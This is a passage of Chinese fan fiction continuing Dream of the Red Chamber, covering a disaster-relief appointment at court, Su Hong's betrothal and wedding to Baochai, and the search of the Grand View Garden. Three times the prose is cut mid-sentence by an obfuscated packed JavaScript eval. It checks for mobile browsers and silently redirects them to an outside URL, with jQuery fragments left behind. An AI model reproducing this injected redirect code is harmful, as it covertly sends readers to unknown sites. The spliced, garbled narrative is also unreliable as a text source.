今上闻言，听不是百姓造反，竟是松了口气。这两年不少地方都报旱涝，粮食减产，无非是命官员赈济、安抚百姓，倒也不放在心上。只是海啸致灾，难说隔海相望之处不被波及，不由担忧外国起了歪心思。 不过南方有南安郡王镇守，其也算家学渊源，用兵有几分祖上风范，今上倒也放心。只是赈济百姓的人选他一时拿不准，怕选错了人惹得百姓不满。当即便有官员上奏：“陛下，当务之急是要赈济百姓，为天下生民，还请陛下派遣钦差前往赈灾。” 今上翻了个白眼，心说他当然知道，还用你说。只是见说话的是个老臣，也不好说什么，便点头道：“这是自然。只是钦差人选，诸位爱卿认为该派何人前去？” 论理这是个有油水的活儿，只是要前往广、福一带，路途遥远，舟车劳顿，一时众人都有些犹豫。而且近年越发不太平，刁民聚群，土匪遍山，他们出去一趟还不知能保住命不能。 今上见满朝文武支支吾吾，眉头紧蹙，越发不高兴。正要发火时，却有贾雨村出列道：“陛下，贾学政任期已满，前些日子刚上奏说六月底回京。贾学政回京时正巧路过沿海一带，其为人谦恭厚道、高风亮节，正适合赈济灾民。” 此事对旁人来说是苦差事，但贾政本就要路过沿海一带，如今不过顺路，倒也算不得麻烦。至于钱粮，全折算成银两就是，叫人飞马带去给贾政，沿途采买了送去便是。 众人闻言，虽觉这烫手山芋被贾政接走是件好事，却又眼红其贾政能从中得利。忠顺王等人有心阻碍，但如今正是今上权欲之心大涨之时，忠顺王虽是他的兄弟，也怕自己惹来猜忌，便也缄口不言。 今上闻言，思及贾政为人尚可，便也点头答应。又命户部筹办银钱，急速给贾政送去。 39.过礼 苏父想到甄家被人弹劾，与甄家相交甚厚的贾家如何能独善其身，薛家自也会被牵扯进去。虽说贾政被点为钦差是好事，但苏父想到听到的只言片语中这位贾钦差的性格，颇觉棘手。 下衙之后，苏父一刻也不敢耽误，连忙回家。苏鸿与纪花明正在庭前对坐下棋，见苏父回来，连忙上前问安。苏父脚下生风，本是要寻苏母说话，见苏鸿和纪花明在此才脚步一顿，唤他们到书房去。 二人不敢耽搁，连忙跟在苏父身后。苏父命人关了门窗，才揪着胡子叹道：“今日朝上，忽然三省巡抚有急报，说近海一带海啸，生民落难，请求朝廷赈济。正为难人选之际，大司马便进言说贾学政不日回京述职，提议他顺道过去，今上准了。” 这……苏鸿和纪花明面面相觑。苏鸿蹙眉道：“赈济灾民不是小事，各种关系盘根错节。贾学政出身荣国府，又有王家帮衬，想必是能胜任此事。只是赈灾银子，便是贾学政不愿贪，旁人也不会眼睁睁看着不管，也不知落到百姓手中还剩几分。” 三人一时沉默，只能庆幸贾政并非贪婪成性之人，又有王子腾、贾雨村等人帮衬，不至于劳而无获。只是苦了百姓，好端端受此灾殃。 半晌，纪花明才道：“近年来天灾不断，又出了这样的事，只怕近海不稳。虽有南安郡王镇守，但今上继位以来对几位郡王多有防备。何况天下承平日久，除百姓生乱外别无战事，文恬武嬉，不是长久之策。” 他和苏鸿与贾宝玉见了几面，无意间发现他有个不同寻常的蓑衣。细问之下，才知道这是北静王爷送的。不止如此，贾宝玉还说北静郡王闲了下雨时在家里也是一身蓑衣打扮，扮作渔翁。 他们江南雨水丰沛，除却实有要事，下雨时谁不想舒舒服服窝在房内？一身蓑衣，渔翁打扮，无非是表示自己全无贪权夺利之心罢了。 苏父叹道：“不独我们知道，立在朝堂上的谁是酒囊饭袋？只是他们浑不在意，心存侥幸，不愿吐出那口到嘴的肉罢了。现在武将中得用的也唯有王家、史家，其余贾、卫、冯几家祖上虽出名将，子孙却早不以习武为业了。” 半晌，苏父只有叹道：“我找蟠儿，预备五百两叫他邮寄银票给贾学政，略尽绵薄之力罢了。” 他见苏鸿和纪花明也有几分意动，忙劝道：“何苦来，你们年纪轻轻，又没有成家立业，将来用银子的地方多着呢。过些日子花明就定亲了，难不成叫你娘子跟你过苦日子？” 说完又看向苏鸿，沉吟片刻后说道：“为父也不瞒你，今日朝上甄家被弹劾任上亏空，贪污敛财。贾家是甄家老亲，难免会被旁人盯着。为父打算尽快为你和薛大姑娘定亲，半年内尽快完婚。还有花明，未免夜长梦多，早日完婚。” 贾家子弟不成气候，顶天也就是结交外官——这也是京官常有的事。只要不牵扯到谋逆大罪，并不会连累姻亲，顶多花明在仕途上艰难些。至于薛家，关系就更弱一层，哪怕未来被人参了亏空，薛家也总有家财能补上。 因而苏父并不惧他们会被一同扯进去，反而想着早日将苏鸿和纪花明的婚事办完。说句不好听的，若贾家和薛家真出事了，至少提早分出了一部分家产给女儿带走，日后便是真被甄家牵连，也不至于无法生活。 苏鸿和纪花明对视一眼，连忙应下。苏父满意一笑，便又与他们说些朝堂上的事，叫他们安心等着朝廷的授官文书。打发走他们师兄弟两个，苏父便去寻苏母，见她翻着厚厚一沓册子，坐在她身边笑问道：“怎么这样忙，见我进来也不理我？” 苏母头也不抬，笑道：“听脚步声就知道是你，还用看？才听人说你已经回来了，叫他们两个到书房嘀嘀咕咕的说话，我可不敢刺探朝廷机密。” 苏父被噎了一下，凑到苏母身边揽着她笑道：“夫人说哪里话，我可从不敢隐瞒夫人，什么事不曾告诉你。只是回来时看见他们两个对弈，总得跟他们说上几句。不过，好端端怎么盘其账来了？” 苏母被他逗笑了，说道：“你也糊涂了，鸿儿都十九了，如今又高中状元，跟宝丫头的婚事也该提上日程了。薛太太不主动提为的是女方家矜持，又疼宝丫头，咱们总得上心。也是鸿儿有出息，才算不辱没宝丫头。” 宝钗举止娴雅、温柔敦厚，虽有博学却不卖弄，守拙藏愚。外貌鲜艳妩媚，出身富贵，偏又是钗荆裙布，衣饰朴素。更难得的是，与其父母一样，心肠慈悲、侠义，让人越发敬重。真论起来，连鸿儿也未必比她强。 宝钗太过难得，又与鸿儿情谊深厚，大有知己相逢之意。别说她是做父母的，便是亲戚家的，也定要早日撮合他们成就姻缘，方能称心如意。 苏父闻言，见左右无人，便搂着苏母笑道：“你我果然是心有灵犀。我才刚跟鸿儿说了，要半年内给他操办齐全，没想到夫人竟也是这样想的。”说完，便将今日朝堂之事细细与苏母说了。 苏母未出阁时虽不知外事，但与苏父成婚多年，二人时常谈论，亦有一番见解。近来各处报灾，叫她有些心惊肉跳，不知是不是自己想多了。只是他们人微言轻，也无力插手，便只商定捐些银钱，哪怕只有一半落到百姓手里也是好事。 第二日一早，苏鸿便寻薛蟠出来，自己添了两百两，一共七百两的银票交予薛蟠。他将昨日苏父交代之事一一道来，又叮嘱薛蟠千万少掺和贾家男人结交外官、逼迫良家等事，见薛蟠面色肃然、知道轻重，他便迅速离开。 薛蟠虽有许多话想跟苏鸿说，见他一副匆匆忙忙的模样，又背着弓箭，一时有些摸不着头脑，打算过几日再问。 而苏母，虽觉半年时间将三书六礼走完有些紧迫，但想到甄家之事，还是先将宝钗娶进门才能安心。因封娘子既是她嫂嫂，又与薛家是干亲，便托封娘子为媒，为两家代为沟通。 封娘子早就猜到苏鸿高中状元后，就要考虑成家之事，闻言欣喜不已。她便提前派人给薛家通了个信儿，换了件喜庆的大衣服，才带着苏家预备好的贺礼前往薛家。彼时王夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325698|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早得了消息，亦换了衣裳与薛太太一同等着。 王夫人素喜宝钗温柔敦厚，善解人意，又有金玉良姻，本想让宝钗嫁给宝玉。如此，她们既是姨甥又是婆媳，跟妹妹的关系更加紧密、亲厚，也不必担忧宝钗所遇非人。见妹夫早将宝钗许给苏鸿，这才作罢。 不过依她看来，苏家虽不甚富裕，也算家境殷实。苏鸿又是进士出身，生得又好，便觉这是天造地设一对儿夫妻，心中很是喜欢。因而妹妹一说苏家派人议亲，思及凤姐如今卧病在床，她便赶忙换了大衣裳过来，立意给宝钗操持好婚事。 两家早有约定，薛太太见苏家在苏鸿高中状元后就马上准备婚事，虽不舍宝钗出嫁，却也知道苏家的诚意。便是薛蟠眼下尚未议亲，但宝钗婚约在前，先成亲也是应然之理。薛太太便不再多想，一口答应下来。 薛太太问起主亲，封娘子便笑道：“赵妹妹已托了我做媒，主亲就请妹妹定下。” 薛太太早知会是如此，早在暗暗寻摸主亲的人选。若说最为合适的，定然是凤丫头。她一贯周全，做事麻利，交给她再放心不过。只是凤姐才病了一阵，不宜劳动，她便想请王夫人主亲。 王夫人本是天真烂漫，喜怒出于胸臆之人，此时也一改往常麻木寡言之态，答应为苏鸿和宝钗主婚。封娘子见此行顺利，便将苏母想将婚期定在半年以内的事提前说了，又说苏鸿现已去猎雁，其余采择之礼俱都齐全。 王夫人和薛太太早就一起商议过宝钗的嫁妆，一应都是齐全的，便并不在意。因而，封娘子喜气盈腮回了苏家，又将薛、王二人之言一一说了。不过数日，见苏鸿亲自猎了一对儿活雁回来，她们便提前下了帖子，定了纳采之期。 一连几月，不止苏、薛两家忙着过礼，又有纪、贾两家定婚，亦是忙得不亦乐乎。两件婚事，倒是把京中勋贵、大臣惊得不轻。他们倒是知道苏家和薛家早有婚事，但纪花明和贾家能联姻是他们万万想不到的。 殿试后才月余，他们派去江南打听情况的人还没回来，纪花明却早早被贾家定下，不免让他们觉得荒谬。贾家的架子虽未倒下，宫里有贾贵妃，宫外又有好亲戚，但谁不知道贾家的男人不成器？ 纪花明亦是小小年纪便高中进士，竟也这般短视。但想到纪花明入京以来都是住在苏家，苏家又与薛家亲厚，难保是苏家在其中保媒。这让不少想榜下择婿的老爷太太颇感后悔，只能安慰自己纪花明短视，不能长远为官，心中才好转些许。 今上早知苏家和薛家的婚事，本不以为意。如今听到纪家和贾家的婚事，心中却想着是否苏家有了结党之意，命人细细打听了回话。谁知暗探回来，却说纪家、苏家很看不上贾家，只是因贾家女儿教养极好，他们才肯结亲。今上想到元春，也觉颇有道理，这才作罢。 但这倒是与苏鸿、纪花明无关，他们授官后就在翰林院任职。白日随长官学习处理公事，下衙后就赶着量体裁衣、备礼等事，日日忙碌不已，并无闲心去想旁事。 40.搬离 薛蟠近日忙着张罗给宝钗清点嫁妆，临近中秋之时才将将闲下来。他素好饮酒作乐，寂寞之时便想起苏鸿、纪花明、卫若兰等人日后也都是亲戚，马上攒局邀请他们三人赴宴，还拉上贾宝玉。 苏鸿与纪花明因休沐日闲暇，又不好拂逆薛蟠盛情，便欣然赴宴。 苏鸿、纪花明和卫若兰此时婚期已定，因而三人见面便连忙互道恭喜，称兄道弟好不亲热。贾宝玉见自己都该称姐夫、妹夫，又想到二姐姐、宝姐姐、云妹妹三人再过几月就要接连出嫁，心里又喜又悲。 所喜者，苏、纪、卫三人品行不错，姊妹们出嫁也终身有靠，不至于所托非人虚耗青春；所悲者，大观园中姊妹们日日相伴，如今一旦成家，却要各自散去，越发显得寂寞寥落。想来同生同死相伴一生者，唯有黛玉、袭人而已。 宝玉收拾心情，举杯为三人贺喜。 纪花明身形面貌虽似武将，然最是心细如发。见宝玉虽声声道喜，觥筹交错，观其神态却似并无兴致一般。只是他对着小舅子也不好说什么，见苏鸿和卫若兰都不计较，便也不甚在意。 薛蟠笑嘻嘻招呼众人吃酒吃菜，又不时说些近日的新文趣事，引得众人打开了话匣子。因着吃酒划拳，卫若兰感到身上发热，便把衣裳的排扣解了疏散疏散。纪花明正和宝玉划拳，抬头见他脖子上挂着黄澄澄的什么东西，不由笑道：“卫兄弟还戴这些？” 卫若兰低头一看，见是前些日子从贾宝玉手上赢过来的金麒麟。他反手将金麒麟掏出来，笑道：“这还是宝玉不知从哪里得来的，上次我们比赛射鹄子，就输给我了。” 苏鸿、纪花明、薛蟠上前去瞧，见竟是个文彩辉煌的金麒麟，纷纷笑道：“《诗经》有云：麟之趾，振振公子。这麒麟合该与你相配，该谢谢宝玉替这麒麟找了位才貌仙郎。” 众人说笑一回，方才坐下。苏鸿因想起卫若兰口中的射鹄子，疑心他也一同去了贾珍开的赌局。卫若兰原系贾家世交公子，听闻贾家设局习武，特意过来学习也是常理，只是不知这赌局究竟怎样。 他便笑问道：“早听说宁府珍大爷居家守丧，请各世家弟兄较射，倒是不知底里。想你们都是武将出身，骑射不在话下，竟难想其热闹繁盛之景。” 贾宝玉和卫若兰本是早饭后过去，晚饭前回来。虽对贾珍等人借较射之名晚间大开赌局有所耳闻，终究不曾亲见，在场虽是自己人，却也不敢妄加揣测。倒是薛蟠，受邀去过一次，见宝玉和卫若兰说得单纯，不由一哂。 贾珍所谓的习射，众公子白日倒也举了两次弓箭，但到了晚间，花活儿可就多了。众公子轮流做晚饭之主，天天烹牛宰羊、大吃大喝。用过晚饭，便三三两两聚在一起抹骨牌、吃酒乃至于斗叶掷骰，又安排清俊小厮伺候，无所不为。 薛蟠虽也是个好享受的性子，却受严父严师教诲，又担忧苏鸿知道了不满，去了一次便假托有事回来了。 宝玉和卫若兰见薛蟠似有嘲讽之意，心中暗暗猜测，也不敢再说。薛蟠方道：“宝兄弟和卫兄弟也听我一句劝，竟是在家自行习武，许是更进益些。那边又没个正经的武师傅，去了又有何用?” 这话说得宝玉面红耳赤，便猜到薛蟠定是知道宁府之事，只有点头。卫若兰见他将话说得冠冕堂皇，也确实如薛蟠所言没个正经师傅，便也笑着应下。 他也只去过一两次，偶尔听那些赴局的人说什么“赌局”“晚间”等事，便猜着几分。只是碍于是老亲，自己年底又要迎史家大姑娘进门，亦是贾门亲戚，更不好戳破此事。更遑论，珍大哥尚在守孝，就招呼一干王孙公子聚赌，说出去也很不像样。 纪花明只知宁府近两三月习射成风，他还纳罕这些安享富贵尊荣的王孙公子竟也有此心智毅力——当然，他也对贾家的自大自信有了新的认识。守孝期间，在京城公然召集世袭勋贵公子习射，也亏得那位珍大爷敢想敢干、世袭公子敢去。 只是现今听薛蟠等人打哑谜……纪花明侧身看向苏鸿，见他微微点头便明白其中还有内情。他见贾宝玉在席上也不好多说，免得让贾宝玉脸上过不去，便连忙重起了个话题，引众人说笑。 大观园中，宝钗便以即将完婚、需要归家准备为由，寻李纨说了搬出大观园等话。固然是正理，但李纨、探春早知薛太太和贾母、王夫人等说过，等大家一起过了中秋，再叫宝钗搬回去备嫁，如今不待中秋却要搬走，定是有意避嫌。 昨日晚间，凤姐领着王善保家的、周瑞家的并一群媳妇抄检大观园，闹了个人仰马翻。探春因管家也收拢了几个人手，因而提前得知，特意秉烛以待。 探春心中既恼又怒，甄家才刚被抄了家，自己家里竟自杀自灭起来。明明是一家子骨肉，却不能齐心协力，也要分出几派。何况家中内囊空虚，主仆上下吃喝花费却一如往常，纵是再省出四百两，也难挽回家族颓势。 今日见宝钗要走，便知昨日抄检一事弄得太过难堪。她素知太太为人天真，自觉两房虽有不睦，终究也是一家子，对着大房的人没有防备之心。被王善保家那老婆子一挑唆，可不就入了圈套。 她只恨自己出不去这个门，只能被困在内宅。若能出得去，她保管抬脚就走，再也不留在这个乌烟瘴气的地方。 探春明白宝钗难再住下去，也担忧她心里不自在，便冷笑着将昨日之事一一道明。尤氏见探春竟将脸面撕开，才叹着将方才与惜春之事说了。她心里明镜一样，东府里的种种不堪外人皆知，只是听惜春与东府割席，她也觉面上无光。 宝钗和史湘云闻言，虽说亲戚们自揭其短，她们却不好出言，便只默默听着。待李纨、尤氏要到前头伺候贾母等用饭时，宝钗才与湘云一同回去打点衣衫。 湘云见宝钗要回去同薛太太同住，虽仍在贾家，距离不远，终究不如现在这般自在。想到宝钗已择定十月十一的婚期，她翻过年亦要出嫁，像这样自在的生活不能再有，心中愈发缱绻难舍。 宝钗见她连眼圈儿都红了，笑着上前捏了捏她的脸颊道：“快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335120|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别多心，我只是出了园子，又不是搬走了。白日里咱们寻二姐姐一处伴着打点针线，岂不好？” 蘅芜苑虽说是贾家的房舍，被拨给她住下之后，她自然带了薛家的下人过来。薛、贾两家又是老亲，下人们不乏有拐弯的亲戚关系，又相处几年，十分要好。蘅芜苑中，两家的下人都混在一处管着，一进蘅芜苑，必然惊动薛家的人。 凤姐姐不查蘅芜苑是正理，只是幸而昨日抓住了“贼”。若是没抓住，她日后在贾家、在大观园又该如何自处。她心中暗恼姨妈如此糊涂，被人三言两语挑唆至此。本该是闺阁女儿清净之地，却满是风雨欲来之势。 她和湘云是外人，倒也不妨事。二姐姐又聘给安和的师兄，亦是极好的，也用不着发愁。她只担心探丫头、惜丫头和颦丫头，若贾家尚能支撑还好，若是不能，倒叫她心惊。 湘云闻言先是脸红，却又叹道：“宝姐姐总是哄我，我哪里不清楚这里头的事。我只恨你不是我亲姐姐，不能把我一并带走。” 宝钗见湘云闷闷不乐，便携手与她坐在炕上细细宽慰。又笑道：“你瞧你愁的，倒是不像你了。纵不是亲姐姐，咱们一并相处这么多年，也胜似亲生姊妹了，难不成你跟妹夫上门见礼，我还能把你打出去？” 湘云伏在宝钗怀里，脸红了个通透，心中也开怀许多。见莺儿等打点好衣衫，她们才依依不舍散了，约定不拘在哪一出，要一起做针线。 宝钗家去，就见薛太太正捧着册子发愁。薛太太见宝钗回来，才一把搂住宝钗，细问昨日之事。 薛太太静默半日，方叹道：“你姨妈年轻时比你凤姐姐还爽利些，只是你珠大哥夭亡，元丫头又与她骨肉分离，这才成了今日这样。她膝下只剩宝玉一人，看得眼珠子一般，得知园里出了个坏种，哪里还能冷静下来细想。” 姑娘们住的园子竟冒出个绣春囊，男女之事赫然摆在山石上。连薛太太这个亲戚听了都觉心惊肉跳，更别提王夫人。虽然一定要将绣春囊的源头寻出，薛太太也没想到王夫人会弄得这般大张旗鼓。 幸而最后查出了司棋，若不然，一大家子的人脸都没处放了。 宝钗听了，点头笑道：“妈说得哪里话，我岂会不知道这个道理。只是宝兄弟……” 薛太太便笑道：“你不必说，我也知道。我和老太太提过，老太太喜欢得紧，说早有此意。只是她们年纪还小，竟不用先定下婚事，等过两年直接定亲、紧跟着成亲就是。” 她素来怜爱黛玉，宝玉、黛玉之情她们也都看在眼里，岂有不成全的道理。便是她姐姐，虽不喜黛玉身体孱弱、不能规引宝玉走正途，见宝玉因紫鹃一句玩笑话而发了呆病，也已经默默接受了。 只是未婚男女不好见面，黛玉又是寄养在贾家的，离了此地又能去哪。因而老太太当着她和姐姐便定下，暂不定亲，等时机已到时，仍请她做媒人。至于姐夫，因其平素孝顺端方，老太太和姐姐定下后，姐夫再没有驳回的道理，因而不曾过问他的意见。 41.嫁妆 宝钗闻言，虽知道此事有八分准，但一日不成亲，便有一日的变数。何况她了解姨妈的性子，眼下碍于宝兄弟对黛玉的一片痴心点头答应，回头被妯娌婆子们一挑唆，变卦的可能性亦然不小。 尤其老太太和姨妈都不曾与姨夫商量，姨夫只怕尚未考虑宝兄弟的婚事。老太太这般年纪，一旦她撒手人寰，一则黛玉必然悲恸，身体越发受不得，二则姨夫不知此事，可不就要与姨妈商定婚事。 她见薛太太并未多想，十分高兴称意，便也不将自己那些乱七八糟的猜测说出来。薛太太说完黛玉的婚事，又笑着将一旁的册子拿来递给宝钗，笑道：“我的儿，快来瞧瞧。我和你哥哥商议了这几日才把你的嫁妆单子拟出来，你心里也有个数。” 宝钗闻言面上一红，接过册子笑道：“妈就会打趣我。” 薛太太搂着宝钗念叨：“也怪你哥哥没出息，你父亲留下的基业都不能守好。咱们家在京中的庄子给你两个，虽然不多，但也够你和姑爷嚼用了。这几间铺子也划给你，你日后胭脂水粉、钗环裙袄都是尽有的。这家书铺在东街，姑爷喜欢看书也方便许多……” 她拉拉杂杂说了一堆，心里又是高兴又是不舍。忽然想起什么，便连忙道：“我记得家里还有一副慧纹璎珞，我险些把它忘了。家中只有这一副，是你落草时你父亲给你带回来的，别的尚可少，它决不能少了。” 因而马上让同喜同贵去翻腾箱子，将慧纹璎珞找出来添在嫁妆里。 宝钗才将厚厚的册子看完，见薛太太让丫鬟们去找璎珞，连忙制止道：“妈，快停下吧。咱们家中境况我也知道，备这样一份嫁妆太过了。哥哥尚未定亲，以后家里用钱的地方还多着。快别寻璎珞，连这些嫁妆，妈和哥哥也该再减一些才好。” 薛太太闻言，一把搂住宝钗，心疼地眼泪都快掉下来了。她前儿还笑话封娘子把英莲看得眼珠子一样，不肯给女儿相看人家，封娘子只说舍不得。她心里又何尝舍得，只是到了婚嫁年纪，不叫女儿成家，以后女儿形单影只的更加不好。 哪怕她知道苏家不是磋磨媳妇、规矩大的地方，哪怕再知道苏鸿的品行，但婆婆和丈夫怎可能比得过亲娘贴心。越是担忧，她恨不得把家业都一并给宝钗带走，生怕她到了婆家受丝毫委屈。 薛太太知道不是哭的时候，反而笑道：“我和你哥哥自有打算，你只管带着走就是。你姑娘家，不知道里头的利害。你公婆丈夫都不会难为你，但若是没有银钱傍身，怕那些积年的奴仆会仗着体面给你使绊子。你带着走，我和你哥哥才能放心。” 说着又叹道：“咱们家虽然各处有产业，但离得太远，连你哥哥都管不过来，每年收上来的银子比你父亲在时少了快一半。但你也不必担心，等你哥哥腾出手来管束管束，实在不行就变卖了，也是一笔收入。” 宝钗闻言，见薛太太已经下定决心，又想到现在颇有风雨欲来之势，提前将家产分一部分出去也是正理，便点头答应。她料定安和不会对她的嫁妆如何处置有异议，若日后家里实在艰难，她也可接济。 同喜同贵先前见宝钗制止，也不敢轻动。见薛太太又将宝钗说服，便一头扎进库房里去寻放在最里头的大箱子。宝钗见她们忙着收拾，便趁空带着莺儿一同入了大观园，到潇湘馆寻黛玉说话。 黛玉此时正黯然神伤，倚在窗前拭泪。见宝钗过来，只喊了一句“姐姐”就再也忍不住，伏在她怀里呜咽哭泣。宝钗也觉心酸，连忙用帕子为她拭泪，劝道：“妹妹身体不好，岂不知伤心最耗气血，快别如此。” 黛玉伏在宝钗怀中，两眼含泪，暗想：昨儿晚上抄检，思之令人可惧可恨，真乃奇耻大辱。她虽被凤姐姐按住不叫起来，哪里会听不见外头的动静，叫紫鹃等人平白受辱，她却不能护持。 便是为了抓贼才来搜检，难道她是御下不严、不能约束丫头们的人？何况竟不是为抓贼才来搜检，更让她难堪。姐姐有妈、有哥哥在，凤姐姐不敢叫外人知道。她却父母早逝，便是搜了也没有外人知道。便是老太太和妈事后知道，也不好说什么。 宝钗苦笑道：“我方才去了大嫂子那里，寻了借口便提前搬走了。虽不搜我，没查出贼来我就落了埋怨了。才听得探丫头说她早知动静，还打了王善保家的，现今头上还顶着罪名，不知如何开交呢。你现下身体虽好，终究弱些，且放宽心，只当不知道罢了。” 也不知究竟是什么事，闹得这样大。何况下令的人是姨妈，带人的是表姐，她妈怎好埋怨亲姐姐和亲侄女。便是老太太知道这个糊涂事，也只能装聋作哑。查与不查的，出了这个事，谁不觉耻辱。 黛玉听宝钗解劝，这才渐渐止住眼泪。宝钗又笑道：“今年姨夫回来，又有琴丫头和蝌兄弟过来，我和妈想来是不与你们一同过了。若不然，定要起一社才好，大家联句，也热闹些。” 黛玉道：“昨日这一闹，宝玉念着怡红院，大嫂子和探丫头无心作诗，哪里还起得成诗社。我到想着，早睡些也罢，作诗还是做些针线也好。如姐姐先前所劝，是该给自己找些事做，不该放任自己如此感伤。” 宝钗见黛玉振作起来，心中一喜，只是听她说要做针线，心中又是一惊。黛玉自然是会针黹的，只是她素日以读书作诗为消遣，从不听她口中说什么针黹纺线的话。她从前虽劝过，也是随口一提，叫黛玉不读杂书便罢了，不成想今日听此石破天惊之语。 黛玉瞧宝钗怔怔的，抿唇一笑，从针线篓子里翻出绣绷晃了晃。宝钗一见竟是在红绸上绣的，脸上一红，笑道：“好你个颦丫头，我好心来解劝你，你还这样促狭！” 说着就起身要追黛玉，黛玉忙笑着躲，说道：“妹妹一片真心为姐姐，姐姐怎么不高兴？我瞧我以后都忙不过来了，做这个不难，以后做些小衣服小帕子，姐姐要怎么谢我？” 宝钗羞得脸色通红，只要追着她挠她痒痒。不想湘云怕黛玉多思，一头扎进潇湘馆来宽慰，见二人正在玩笑，笑着撸起袖子道：“好啊，我在那边没人解闷，闷闷的，你们倒是玩得开心。” 三人玩笑着，见黛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339328|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉累得微喘，才坐在一处说话解闷。见天色晚了，才各自回房用膳。 自此日之后，宝钗便时常约着湘云、迎春一起做针线。见黛玉身体好了，便一起到她房里陪着说话，或是读书吟诗或是针黹纺线，众人各得其乐。 只是王夫人不光命凤姐查抄，待忍过两日后，便忙寻了借口把司棋撵回家。又听了婆子们挑唆，亲自阅看大观园一众丫鬟。晴雯、四儿等素与宝玉亲密，生得水秀，常有私语，便发话将她们撵走。又思及先前赵姨娘被戏子们殴打一事，心道戏子也不是安分的，又命将先前的小戏子们一并逐出去，叫她们亲眷配人。 宝玉哪里能受住这等苦楚，心中郁郁不平，又不敢顶撞王夫人。他见怡红院内人人都被挑出些不是来，唯不曾对袭人和麝月、秋纹说什么，便疑心是不是袭人告密。王夫人所言，多是房内私语，怎么连这个都被人知道了？ 袭人未曾料到宝玉会猜疑起她来，又说了一通海棠妖异之言，又觉可笑、又觉可气。他们怡红院上上下下多少人伺候着，屋里喊一句，外头的婆子们就答应着，什么事能瞒过旁人。何况晴雯被架走时还病着，四五日水米不曾粘牙，正经该想个法子救她，怎么还咒起晴雯来。 她无话可答，又怕宝玉闹起来又叫王夫人知道，便又劝了两句，宝玉方偃旗息鼓。只是袭人想到晴雯现是姑舅哥哥和嫂子管着，这两人风评她亦然听过，料定不能照料晴雯。为今之计，倒是求宝姑娘那边，若是有药，也可延续几日。 主意已定，她便提着篮子去了薛姨妈处，有人来问便只说送些针线过去。旁人皆知宝姑娘不出两月便要成婚，相好的丫头送些针线也是常理，并不曾在意。 及至见到宝钗，袭人才将晴雯之事一一说来，又央告道：“晴雯那丫头念旧念恩的，又有一手好针线。只是因她嘴尖性大，这才被那些小人下了些话。本想着等太太消气了，再求太太叫她进来，谁知道她已经病得下不来床。听说姑娘这里有药，我想着求一丸子给她，若吃好了也是她的造化。” 宝钗虽知那府里的事，但因着搬出来，消息便不大灵通。听袭人此言，又想起晴雯的样貌与性情，便猜到是有人构陷。她想了想，说道：“药不是混吃的，只是现下也没法子给她请大夫细瞧。你且把症候说清楚，或是现配，或是用丸药，大抵有些效验。” 袭人本不欲将宝钗牵扯进来，但又想到宝钗不日就要出嫁，又是王夫人的外甥女。她若肯帮忙，王夫人瞧着姨妈和宝钗即将成亲的份上也不会说什么。更何况宝钗素日宽厚，小丫头们也喜欢与宝钗去玩，王夫人不会猜疑旁人。 见宝钗果然应下，又寻了对症的丸药来，便千恩万谢离开，将丸药和金银细软等一并托宋妈送出去。晴雯的嫂子多姑娘，虽于男女之事上荤素不急，却也有些侠义心肠。先时答应宝玉要照顾晴雯，又见送来金银并丸药，便也尽心照顾晴雯。 晴雯吃了丸药倒觉好些，晚间一发汗，终究有力气吃些小米粥等物。又见袭人常悄悄打发人来瞧她，心中愈发感激。 42.大婚 一晃便入了十月，薛太太和薛蟠早早收拾出一套距离苏家近些的宅子，将一应所需物品挪过去，以备婚事所用。待时间差不多，便与宝钗等暂且搬到新宅，预备宝钗出嫁后再搬回贾家。 因婚期不剩几天，宝钗便专心在家看视嫁妆、绣嫁衣，薛太太和王夫人时常过来，交代宝钗婚后诸事。苏鸿也早早请了婚假在家忙碌，下帖、宴请宾客、装点婚房等皆是亲手操办，事事亲为。 舅母、封娘子、王夫人、凤姐、王子腾夫人等近亲近友到苏家、薛家两处帮忙，一连大婚前两日才安排妥当。一应宾客等俱都答应到场，细算下来人数不少。幸而苏家本身亲友故交不算太多，只需请来同僚、上官，因而苏家倒也能摆开。 是日，苏家内外全都装饰一新，挂满红绸。苏家众人在正厅挂出祖先画像，设置香案，待祭祀后才恭敬收了。待到吉时，苏鸿才与自己的表兄弟、纪花明等出门上马，早就候着的花轿、鼓乐仪仗等见主家出来也都忙活起来，一路吹吹打打到了薛家。 待到薛家门前，薛蟠正领着薛蝌、贾琏、贾宝玉、王仁等亲友兄弟堵门。贾琏笑道：“苏修撰文才了得，又是今科状元，谁人不知、谁人不晓？就请苏修撰作催妆诗一首，咱们瞧了，若是好的才算数，你可服气？” 